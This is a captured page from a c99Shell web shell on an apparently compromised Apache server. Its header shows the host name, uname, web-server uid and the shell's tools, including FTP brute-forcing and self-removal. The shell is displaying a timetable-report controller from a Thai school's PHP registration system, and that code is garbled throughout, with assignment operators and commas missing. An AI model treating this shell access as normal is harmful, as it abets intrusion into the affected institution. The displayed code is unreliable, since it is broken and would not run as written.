!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/eregis-12022565/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rpt_tt.php (32.56 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('rg_controller.php');
class 
Rpt_tt extends Rg_controller {
    function 
rptTt () {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("ppc_folder").'mo_spc_place','rm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_mainexternalplace','mep');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_subexternalplace','sep');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_person','prs');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_course','crs');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_weekdate','wd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_period','prd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_day','dy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_timetable','tt');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_nostudydate','nsd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studytype','st');

        
$view $this->input->post('view');
        
$acY $this->input->post('acY');
        
$curId $this->input->post('curId');
        
$syId $this->input->post('syId');
        
$ttRmId $this->input->post('rmId');
        
$ttEtpMepId $this->input->post('mepId');
        
$ttEtpSepId $this->input->post('sepId');
        
$ttPrsId $this->input->post('prsId');
        
$crsId $this->input->post('crsId');
        
$ttCoId $this->input->post('coId');

        
$title '';
        if (
$view == "c") {
            
$title "หลักสูตร ";

            
$this->cur->curId $curId;
            
$qu_cur $this->cur->get_by_key();
            if (
$qu_cur->num_rows()) {
                
$title .= $qu_cur->row()->curName;
            } else {
                
$title .= "เรียนรวมหลายหลักสูตร";
            }

            
$this->sy->syId $syId;
            
$qu_sy $this->sy->get_by_key();
            if (
$qu_sy->num_rows()) {
                
$title .= " ชั้นปี ".$qu_sy->row()->syCode;
            }
        } else if (
$view == "r") {
            
$this->rm->plHwId $ttRmId;
            
$qu_rm $this->rm->get_by_key();
            if (
$qu_rm->num_rows()) {
                
$title "ห้อง ".$qu_rm->row()->plRmNo;
            }
        } else if (
$view == "p") {
            
$this->mep->mepId $ttEtpMepId;
            
$qu_mep $this->mep->get_by_key();
            if (
$qu_mep->num_rows()) {
                
$title "สถานที่ฝึกงาน ".$qu_mep->row()->mepName;
            }

            
$this->sep->sepId $ttEtpSepId;
            
$qu_sep $this->sep->get_by_key();
            if (
$qu_sep->num_rows()) {
                
$title .= " : ".$qu_sep->row()->sepName;
            }
        } else if (
$view == "t") {
            
$con_qu_prs = array('prsId'     => $ttPrsId);
            
$qu_prs $this->prs->qryPrsJoinPPC($con_qu_prs);
            if (
$qu_prs->num_rows()) {
                
$title "อ.".$qu_prs->row()->name;
            }
        } else if (
$view == "s") {
            
$this->crs->crsId $crsId;
            
$qu_crs $this->crs->get_by_key();
            if (
$qu_crs->num_rows()) {
                
$con_qu_co = array('coId'     => $ttCoId);
                
$qu_co $this->co->qryCoJoinCur($con_qu_co);
                
$row_co $qu_co->num_rows() ? $qu_co->row() : NULL;

                
$title = (($ttCoId == '') ? "" "หลักสูตร ".getval('curName'$row_co)."&#10;")."รายวิชา ".$qu_crs->row()->crsCode." ".$qu_crs->row()->crsName.(($ttCoId == '') ? "" " กลุ่ม ".getval('coSection'$row_co));
            }
        }    
// end if view

        
$pgIdStr = ($curId=='NULL') ? 'NULL' $curId;

        
$txml '';
        
$sheet 1;
        
$con_rs_wd = array('wdAcY'    => $acY);
        
$ord_rs_wd = array('wdAcYWeekNo'    => 'ASC');
        
$rs_wd $this->wd->qryWdJoinTm($con_rs_wd$ord_rs_wd);
            
//RSrg_WeekDateByAcY($acadYear);
        
foreach ($rs_wd->result() as $row_wd) {
            
$txml .= "\t<Worksheet ss:Name=\"".$sheet."\">\n";
            
$txml .= "\t\t<Table>\n";

            
$rs_prd $this->prd->qryPrd();
            
$numPr $rs_prd->num_rows();

            
$txml .= "\t\t\t<Column ss:Index=\"2\" ss:AutoFitWidth=\"0\" ss:Width=\"90\" ss:Span=\"".($numPr-1)."\"/>\n";
            
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
            
$txml .= "\t\t\t\t<Cell ss:MergeAcross=\"".$numPr."\" ss:StyleID=\"noBorder\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'$title)."</Data></Cell>\n";
            
$txml .= "\t\t\t</Row>\n";
            
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
            if (
$view == "s") {
                
$txml .= "\t\t\t\t<Cell ss:MergeAcross=\"".$numPr."\" ss:StyleID=\"noBorder\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"ปีการศึกษา ".$acY)."</Data></Cell>\n";
            } else {
                
$txml .= "\t\t\t\t<Cell ss:MergeAcross=\"".$numPr."\" ss:StyleID=\"noBorder\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"ภาคการศึกษา ".$row_wd->tmCode."/".$acY." สัปดาห์ที่ ".$row_wd->wdAcYWeekNo." (".abbreDate(splitDateDb2($row_wd->wdFrDate))." - ".abbreDate(splitDateDb2($row_wd->wdToDate)).")")."</Data></Cell>\n";
            }
            
$txml .= "\t\t\t</Row>\n";
            
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"วัน/เวลา")."</Data></Cell>\n";
            foreach (
$rs_prd->result() as $row_prd) {
                
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".substr($row_prd->prdFrTime05)."-".substr($row_prd->prdToTime05)."</Data></Cell>\n";
            }
            
$txml .= "\t\t\t</Row>\n";

            
$rs_dy $this->dy->qryDy();
            foreach (
$rs_dy->result() as $row_dy) {
                
//เช็คว่าแต่ละวันมีวิชาหรือไม่ ถ้าไม่มีให้ข้ามไปวันต่อไป
                
$con_qu_tt = array();
                if (
$view == "c") {
                    
$con_qu_tt = array('coAcY'    => $acY,
                        
'coCurId'    => $pgIdStr,
                        
'coSyId'    => $syId,
                        
'ttWdAcYWeekNo'    => $row_wd->wdAcYWeekNo,
                        
'ttDyId'    => $row_dy->dyId
                    
);
                    
//$num = $oTt->getCountJoinCo();
                    //GetCountIdByAcYAndPgIdStrAndStYAndAcYWeekNoAndDyId();
                
} else if ($view == "r") {
                    
$con_qu_tt = array('coAcY'    => $acY,
                        
'ttRmId'    => $ttRmId,
                        
'ttWdAcYWeekNo'    => $row_wd->wdAcYWeekNo,
                        
'ttDyId'    => $row_dy->dyId
                    
);
                    
//$num = $oTt->GetCountIdByAcYAndRmIdAndAcYWeekNoAndDyId($acadYear, $ttRmId, $oWd->wdAcYWeekNo, $oDy->dayId);
                
} else if ($view == "p") {
                    
$con_qu_tt = array('coAcY'    => $acY,
                        
'ttEtpMepId'    => $ttEtpMepId,
                        
'ttEtpSepId'    => $ttEtpSepId,
                        
'ttWdAcYWeekNo'    => $row_wd->wdAcYWeekNo,
                        
'ttDyId'    => $row_dy->dyId
                    
);
                    
//$num = $oTt->GetCountIdByAcYAndEpMepIdAndEpSepIdAndAcYWeekNoAndDyId($acadYear, $ttEpMepId, $ttEpSepId, $oWd->wdAcYWeekNo, $oDy->dayId);
                
} else if ($view == "t") {
                    
$con_qu_tt = array('coAcY'    => $acY,
                        
'ttPrsId'    => $ttPrsId,
                        
'ttWdAcYWeekNo'    => $row_wd->wdAcYWeekNo,
                        
'ttDyId'    => $row_dy->dyId
                    
);
                    
//$num = $oTt->GetCountIdByAcYAndOfIdAndAcYWeekNoAndDyId($acadYear, $ttOfId, $oWd->wdAcYWeekNo, $oDy->dayId);
                
} else if ($view == "s") {
                    if (
$ttCoId == "") {
                        
$con_qu_tt = array('coAcY'    => $acY,
                            
'coCrsId'    => $crsId,
                            
'ttDyId'    => $row_dy->dyId
                        
);
                        
//$num = $oTt->GetCountIdByAcYAndCoIdAndDyId($acadYear, $coId, $oDy->dayId);
                    
} else {
                            
$this->co->coId $ttCoId;
                            
$qu_cco $this->co->get_by_key();
                            
$row_cco = ($qu_cco->num_rows()>0) ? $qu_cco->row() : NULL;
                            
                            
$cur = (getval('coCurId'$row_cco)=="") ? "NULL" getval('coCurId'$row_cco);
                        
                        
$con_qu_tt = array('coAcY'    => $acY,
                            
'coSection'=>$row_cco->coSection,
                            
'coCurId'=>$cur,
                            
'coCrsId'    => $crsId,
                            
//'ttCoId'    => $ttCoId,
                            
'ttDyId'    => $row_dy->dyId
                        
);
                        
//$num = $oTt->GetCountIdByAcYAndCoIdAndClIdAndDyId($acadYear, $coId, $ttClId, $oDy->dayId);
                    
}
                }
                
$num $this->tt->getCountJoinCo($con_qu_tt);

                
//-[1]---ถ้ามีวิชาในแต่ละวัน
                
if ($num 0) {
                    
//นับจำนวนวิชาที่เวลาซ้อนกันมากที่สุด ตาม view เพื่อจะไป rowspan
                    
$maxOvl 0;
                    if (
$view == "c"$maxOvl $this->tt->GetMaxOVLByAcYAndPgIdStrAndStYAndAcYWeekNoAndDyId($acY$pgIdStr$syId$row_wd->wdAcYWeekNo$row_dy->dyId);
                    if (
$view == "r"$maxOvl $this->tt->GetMaxOVLByAcYAndRmIdAndAcYWeekNoAndDyId($acY$ttRmId$row_wd->wdAcYWeekNo$row_dy->dyId);
                    if (
$view == "p"$maxOvl $this->tt->GetMaxOVLByAcYAndEpMepIdAndEpSepIdAndAcYWeekNoAndDyId($acY$ttEtpMepId$ttEtpSepId$row_wd->wdAcYWeekNo$row_dy->dyId);
                    if (
$view == "t"$maxOvl $this->tt->GetMaxOVLByAcYAndOfIdAndAcYWeekNoAndDyId($acY$ttPrsId$row_wd->wdAcYWeekNo$row_dy->dyId);
                    if (
$view == "s") {
                        if (
$ttCoId == ""){
                            
$maxOvl $this->tt->GetMaxOVLByAcYAndCoIdAndDyId($acY$crsId$row_dy->dyId);
                        }else{
                            
$this->co->coId $ttCoId;
                            
$qu_cco $this->co->get_by_key();
                            
$row_cco = ($qu_cco->num_rows()>0) ? $qu_cco->row() : NULL;
                            
                            
$cur = (getval('coCurId'$row_cco)=="") ? "" getval('coCurId'$row_cco);
                            
$maxOvl $this->tt->GetMaxOVLByAcYAndCoIdAndClIdAndDyId2($acY$crsId$cur,$row_cco->coSection $row_dy->dyId);
                        }
                    }

                    
//-[2]---สร้างอะเรย์ขนาด maxOvl x $oPr->NumRow() เริ่มที่ [1][1]
                    
$aa = array();
                    for (
$i 1$i <= $maxOvl$i++) {
                        for (
$j 1;$j <= $numPr$j++)
                            
$aa[$i][$j] = 0;
                    }

                    
//-[3]---อ่านวิชาทั้งหมดในวันนี้ เรียงตาม id
                    
$ord_rs_tt = array('ttId'    => 'ASC');
//                    if ($view == "c") {
//                        //$oTt->RSrg_TimeTableByAcYAndPgIdStrAndStYAndAcYWeekNoAndDyIdOrderId();
//                    } else if ($view == "r") {
//                        //$oTt->RSrg_TimeTableByAcYAndRmIdAndAcYWeekNoAndDyIdOrderId($acadYear, $ttRmId, $oWd->wdAcYWeekNo, $oDy->dayId);
//                    } else if ($view == "p") {
//                        //$oTt->RSrg_TimeTableByAcYAndEpMepIdAndEpSepIdAndAcYWeekNoAndDyIdOrderId($acadYear, $ttEpMepId, $ttEpSepId, $oWd->wdAcYWeekNo, $oDy->dayId);
//                    } else if ($view == "t") {
//                        //$oTt->RSrg_TimeTableByAcYAndOfIdAndAcYWeekNoAndDyIdOrderId($acadYear, $ttOfId, $oWd->wdAcYWeekNo, $oDy->dayId);
//                    } else if ($view == "s") {
//                        if ($ttClId == "") {
//                            //$oTt->RSrg_TimeTableByAcYAndCoIdAndDyIdOrderId($acadYear, $coId, $oDy->dayId);
//                        } else {
//                            //$oTt->RSrg_TimeTableByAcYAndCoIdAndClIdAndDyIdOrderId($acadYear, $coId, $ttClId, $oDy->dayId);
//                        }
//                    }
                    
$rs_tt $this->tt->qryTtJoinCo($con_qu_tt$ord_rs_tt);

                    
//-[4]---loop แต่ละวิชาเพื่อไป mark ในอะเรย์ โดยเริ่มจากแถวแรก ตามคาบ 
                    //-[4.1]---อ่านออกมาทีละวิชา
                    
foreach ($rs_tt->result() as $row_tt) {
                        
//-[4.2]---loop เท่ากับจำนวน maxOvl เริ่มจาก [1]
                        
for ($i 1$i <= $maxOvl$i++) {
                            
//-[4.3]---ถ้า $aa จากตำแหน่ง ttFrPr ถึง ttToPr เป็น 0 แปลว่า ว่าง ให้ใส่ id ของวิชาลงไปแทน 0
                            
$isEmpty true;
                            for (
$z $row_tt->ttPrdFrTime$z <= $row_tt->ttPrdToTime$z++) {
                                if (
$aa[$i][$z] <> 0) {
                                    
$isEmpty false;
                                    break;    
//ไปยัง for $i
                                
}
                            }

                            if (
$isEmpty) {
                                for (
$z $row_tt->ttPrdFrTime$z <= $row_tt->ttPrdToTime$z++) {
                                    
//-ใส่ id ของวิชาลงไปแทน 0
                                    
$aa[$i][$z] = $row_tt->ttId;
                                }
                                
//-ออกจาก loop ไปเรคอร์ดต่อไป เนื่องจากว่าง
                                
break;    //ไปยัง while
                            
}    //$isEmpty
                        
}    //-[4.2]---for $i
                    
}    //-[4.1]---while

                    
if ($view <> "s") {
                        
$nsdDate futureDay($row_wd->wdFrDate$row_dy->dyId 1);

                        
$con_rs_nsd = array('nsdDate'     => $nsdDate);
                        
$rs_nsd $this->nsd->qryNsd($con_rs_nsd);
                            
//RSrg_NoStudyDateByDate();
                        
foreach ($rs_nsd->result() as $row_nsd) {
                            for (
$i 1$i <= $maxOvl$i++) {
                                for (
$z $row_nsd->nsdPrdFrTime$z <= $row_nsd->nsdPrdToTime$z++)
                                    
$aa[$i][$z] = '-'.$row_nsd->nsdId;
                            }
                        }
                    }

                    
//-[5]---หมด 1 วัน ก็พิมพ์ 1 ครั้ง
                    
for ($rwovl 1$rwovl <= $maxOvl$rwovl++) {
                        
$txml .= "\t\t\t<Row ss:Height=\"60\">\n";

                        
//-พิมพ์หัวแถว
                        
if ($rwovl==1) {
                            
$txml .= "\t\t\t\t<Cell ss:MergeDown=\"".($maxOvl-1)."\" ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'$row_dy->dyName)."</Data></Cell>\n";
                        }

                        
//-พิมพ์รายละเอียดในแต่ละแถว
                        
for ($prd 1$prd <= $numPr$prd++) {
                            if (
$aa[$rwovl][$prd] == 0) {
                                
$txml .= "\t\t\t\t<Cell ss:Index=\"".($prd+1)."\" ss:StyleID=\"center\"/>\n";
                            } else if (
$aa[$rwovl][$prd] < 0) {
                                
$this->nsd->nsdId substr($aa[$rwovl][$prd], 1);
                                
$qu_nsd $this->nsd->get_by_key();
                                
$row_nsd $qu_nsd->row();

                                
$nprd $row_nsd->nsdPrdToTime $row_nsd->nsdPrdFrTime +1;

                                if (
$rwovl == 1) {
                                    
$txml .= "\t\t\t\t<Cell ss:Index=\"".($prd+1)."\" ss:MergeAcross=\"".($nprd-1)."\" ss:MergeDown=\"".(count($aa)-1)."\" ss:StyleID=\"center\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'$row_nsd->nsdName)."</Data></Cell>\n";
                                }

                                
$prd += $nprd-1;
                            } else {
                                
$this->tt->ttId $aa[$rwovl][$prd];
                                
$qu_tt $this->tt->get_by_key();
                                
$row_tt $qu_tt->row();

                                
$con_qu_co = array('coId'    => $row_tt->ttCoId);
                                
$qu_co $this->co->qryCoJoinCrs($con_qu_co);
                                
$row_co $qu_co->row();

                                
$this->st->stId $row_tt->ttStId;
                                
$qu_st $this->st->get_by_key();
                                
$row_st $qu_st->row();

                                
$this->rm->plHwId $row_tt->ttRmId;
                                
$qu_rm $this->rm->get_by_key();
                                
$row_rm $qu_rm->num_rows() ? $qu_rm->row() : NULL;

                                
$this->mep->mepId $row_tt->ttEtpMepId;
                                
$qu_mep $this->mep->get_by_key();
                                
$row_mep $qu_mep->num_rows() ? $qu_mep->row() : NULL;

                                
$this->sep->sepId $row_tt->ttEtpSepId;
                                
$qu_sep $this->sep->get_by_key();
                                
$row_sep $qu_sep->num_rows() ? $qu_sep->row() : NULL;

                                
$con_qu_prs = array('prsId'     => $row_tt->ttPrsId);
                                
$qu_prs $this->prs->qryPrsJoinPPC($con_qu_prs);
                                
$row_prs $qu_prs->row();

                                
$nprd $row_tt->ttPrdToTime $row_tt->ttPrdFrTime +1;

                                
$txml .= "\t\t\t\t<Cell ss:Index=\"".($prd+1)."\" ss:MergeAcross=\"".($nprd-1)."\" ss:StyleID=\"center\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'$row_co->crsCode." (".$row_co->coSection.")(".$row_st->stAbbrE.")&#10;");
                                if (
$view == "c"$txml .= iconv('UTF-8''TIS-620//TRANSLIT', (is_null($row_tt->ttRmId)) ? $row_mep->mepName.':'.$row_sep->sepName.'&#10;อ.'.$row_prs->name 'ห้อง '.$row_rm->plRmNo.'&#10;อ.'.$row_prs->name);
                                if (
$view == "r"$txml .= iconv('UTF-8''TIS-620//TRANSLIT''อ.'.$row_prs->name);
                                if (
$view == "p"$txml .= iconv('UTF-8''TIS-620//TRANSLIT''อ.'.$row_prs->name);
                                if (
$view == "t"$txml .= iconv('UTF-8''TIS-620//TRANSLIT', (is_null($row_tt->ttRmId)) ? $row_mep->mepName.':'.$row_sep->sepName 'ห้อง '.$row_rm->plRmNo);
                                if (
$view == "s"$txml .= iconv('UTF-8''TIS-620//TRANSLIT', (is_null($row_tt->ttRmId)) ? getval('mepName'$row_mep).':'.getval('sepName'$row_sep).'&#10;อ.'.$row_prs->name.'&#10;สัปดาห์ที่ '.$row_tt->ttWdAcYWeekNo 'ห้อง '.getval('plRmNo'$row_rm).'&#10;อ.'.$row_prs->name.'&#10;สัปดาห์ที่ '.$row_tt->ttWdAcYWeekNo);
                                
$txml .= "</Data></Cell>\n";

                                
$prd += $nprd-1;
                            }    
// end if
                        
}    // end for $prd

                        
$txml .= "\t\t\t</Row>\n";
                    }    
//-[5]---
                
} else {    //ถ้าใน วัน ไม่มีวิชาเลย ให้แสดงเฉพาะคอลัมน์แรก
                    
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
                    
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'$row_dy->dyName)."</Data></Cell>\n";
                    
$nsdDate futureDay($row_wd->wdFrDate$row_dy->dyId 1);

                    for (
$c 1$c <= $numPr$c++) {
                        if(
$view == "s") {
                            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"center\"/>\n";
                        } else {
                            
$con_rs_nsd = array('nsdDate'     => $nsdDate,
                                
'nsdPrdFrTime'    => $c
                            
);
                            
$rs_nsd $this->nsd->qryNsd($con_rs_nsd);
                                
//RSrg_NoStudyDateByDateAndFrPr();
                            
if ($rs_nsd->num_rows()) {
                                
$row_nsd $rs_nsd->row();
                                
$nprd $row_nsd->nsdPrdToTime $row_nsd->nsdPrdFrTime +1;

                                
$txml .= "\t\t\t\t<Cell ss:MergeAcross=\"".($nprd-1)."\" ss:StyleID=\"center\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'$row_nsd->nsdName)."</Data></Cell>\n";

                                
$c += $nprd-1;
                            } else {
                                
$txml .= "\t\t\t\t<Cell ss:StyleID=\"center\"/>\n";
                            }    
// end if
                        
}    // end if
                    
}    // for $c
                    
$txml .= "\t\t\t</Row>\n";
                }    
//-[1]---if $num==0
            
}    // end foreach rs_dy

            
$i 0;
            
$rs_nsd $this->nsd->qryNsdBetweenDateOrdNsdDateAndNsdPrdFrTime($row_wd->wdFrDate$row_wd->wdToDate);
                
//RSrg_NoStudyDateByBetweenDateOrderDateFrPr();
            
foreach ($rs_nsd->result() as $row_nsd) {
                
$this->prd->prdId $row_nsd->nsdPrdFrTime;
                
$qu_prd $this->prd->get_by_key();
                
$row_prd $qu_prd->row();
                
$prStr substr($row_prd->prdFrTime05);

                
$this->prd->prdId $row_nsd->nsdPrdToTime;
                
$qu_prd $this->prd->get_by_key();
                
$row_prd $qu_prd->row();
                
$prStr .= ' - '.substr($row_prd->prdToTime05);

                
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
                if (
$i == 0) {
                    
$txml .= "\t\t\t\t<Cell ss:StyleID=\"noBorder\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"หมายเหตุ")."</Data></Cell>\n";
                }
                
$txml .= "\t\t\t\t<Cell ss:Index=\"2\" ss:MergeAcross=\"".($numPr-1)."\" ss:StyleID=\"left\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'abbreDate(splitDateDb2($row_nsd->nsdDate)).' เวลา '.$prStr.' น. '.$row_nsd->nsdName.' '.$row_nsd->nsdRemark)."</Data></Cell>\n";
                
$txml .= "\t\t\t</Row>\n";

                
$i++;
            }

            
$txml .= "\t\t</Table>\n";
            
$txml .= "\t</Worksheet>\n";

            
$sheet++;

            if(
$view == "s") break;
        }    
// end foreach rs_wd

        
$data['txml'] = $txml;

        
$this->load->view($this->config->item("rg_folder")."v_rptTt"$data);
    }

    function 
rptTt2 () {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_course','crs');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_person','prs');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_timetable','tt');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_period','prd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_weekdate','wd');
        
$this->load->model($this->config->item("ppc_folder").'mo_spc_place','rm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_mainexternalplace','mep');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_subexternalplace','sep');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studytype','st');

        
$crsId $this->input->post('crsId');
        
$acY $this->input->post('acY');

        
$this->crs->crsId $crsId;
        
$qu_crs $this->crs->get_by_key();
        
$row_crs $qu_crs->num_rows() ? $qu_crs->row() : NULL;

        
$txml '';
        
$con_rs_co = array('coAcY'    => $acY,
            
'coCrsId'    => $crsId
        
);
        
$ord_rs_co = array('CAST(coSection AS SIGNED)'    => 'ASC');
        
$rs_co $this->co->qryCo($con_rs_co$ord_rs_co);
        foreach (
$rs_co->result() as $row_co) {
            
$this->cur->curId $row_co->coCurId;
            
$qu_cur $this->cur->get_by_key();
            
$row_cur $qu_cur->num_rows() ? $qu_cur->row() : NULL;

            
$this->sy->syId $row_co->coSyId;
            
$qu_sy $this->sy->get_by_key();
            
$row_sy $qu_sy->row();

            
$this->tm->tmId $row_co->coTmId;
            
$qu_tm $this->tm->get_by_key();
            
$row_tm $qu_tm->row();

            
$con_qu_prs = array('prsId'     => $row_co->coPrsId);
            
$qu_prs $this->prs->qryPrsJoinPPC($con_qu_prs);
            
$row_prs $qu_prs->num_rows() ? $qu_prs->row() : NULL;
//iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text)
//iconv("UTF-8", "ISO-8859-1//IGNORE", $text)
            //$txml .= "\t<Worksheet ss:Name=\"".iconv('UTF-8', 'TIS-620//TRANSLIT', $row_co->coSection."(".substr((is_null($row_co->coCurId) ? "เรียนรวมหลายหลักสูตร" : getval('curAbbr', $row_cur)), 0, 20)." ปี".$row_sy->syCode.")")."\">\n";
            // edit 11/2/2556 sitthichai
            
$txml .= "\t<Worksheet ss:Name=\"".iconv('UTF-8''TIS-620//TRANSLIT'$row_co->coSection."(".(is_null($row_co->coCurId) ? "เรียนรวมหลายหลักสูตร" getval('curAbbr'$row_cur))." ปี".$row_sy->syCode.")")."\">\n";
            
$txml .= "\t\t<Table>\n";
            
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"20\"/>\n";
            
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"60\"/>\n";
            
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"60\"/>\n";
            
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"180\"/>\n";
            
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"60\"/>\n";
            
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"60\"/>\n";
            
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
            
$txml .= "\t\t\t\t<Cell ss:MergeAcross=\"6\" ss:StyleID=\"noBorder\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"หลักสูตร ".(is_null($row_co->coCurId) ? "เรียนรวมหลายหลักสูตร" getval('curName'$row_cur))." ชั้นปี ".$row_sy->syCode)."</Data></Cell>\n";
            
$txml .= "\t\t\t</Row>\n";
            
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
            
$txml .= "\t\t\t\t<Cell ss:MergeAcross=\"6\" ss:StyleID=\"noBorder\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"รายวิชา ".$row_crs->crsCode." ".$row_crs->crsName." ".$row_crs->crsUnit." กลุ่ม ".$row_co->coSection." ภาคการศึกษา ".$row_tm->tmCode."/".$row_co->coAcY)."</Data></Cell>\n";
            
$txml .= "\t\t\t</Row>\n";
            
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
            
$txml .= "\t\t\t\t<Cell ss:MergeAcross=\"6\" ss:StyleID=\"noBorder\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"อาจารย์ผู้รับผิดชอบส่งเกรด อาจารย์".(is_null($row_co->coPrsId) ? "" getval('name'$row_prs)))."</Data></Cell>\n";
            
$txml .= "\t\t\t</Row>\n";
            
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"ที่")."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"วันเดือนปี")."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"เวลา")."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"บท/เรื่อง/หัวข้อสอน")."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"อาจารย์")."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"ห้อง")."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"หมายเหตุ")."</Data></Cell>\n";
            
$txml .= "\t\t\t</Row>\n";

            
$i 1;
            
$rs_tt $this->tt->qryTtByCoIdGroupAllOrderAcYWeekNoDyIdFrPr($row_co->coId);
            foreach (
$rs_tt->result() as $row_tt1) {
                
$this->prd->prdId $row_tt1->ttPrdFrTime;
                
$qu_prd $this->prd->get_by_key();
                
$row_prd1 $qu_prd->row();

                
$this->prd->prdId $row_tt1->ttPrdToTime;
                
$qu_prd $this->prd->get_by_key();
                
$row_prd2 $qu_prd->row();

                
$this->wd->wdAcY $row_co->coAcY;
                
$this->wd->wdAcYWeekNo $row_tt1->ttWdAcYWeekNo;
                
$qu_wd $this->wd->get_by_key();
                
$row_wd $qu_wd->row();

                
$this->rm->plHwId $row_tt1->ttRmId;
                
$qu_rm $this->rm->get_by_key();
                
$row_rm $qu_rm->num_rows() ? $qu_rm->row() : NULL;

                
$this->mep->mepId $row_tt1->ttEtpMepId;
                
$qu_mep $this->mep->get_by_key();
                
$row_mep $qu_mep->num_rows() ? $qu_mep->row() : NULL;

                
$this->sep->sepId $row_tt1->ttEtpSepId;
                
$qu_sep $this->sep->get_by_key();
                
$row_sep $qu_sep->num_rows() ? $qu_sep->row() : NULL;

                
$this->st->stId $row_tt1->ttStId;
                
$qu_st $this->st->get_by_key();
                
$row_st $qu_st->row();

                
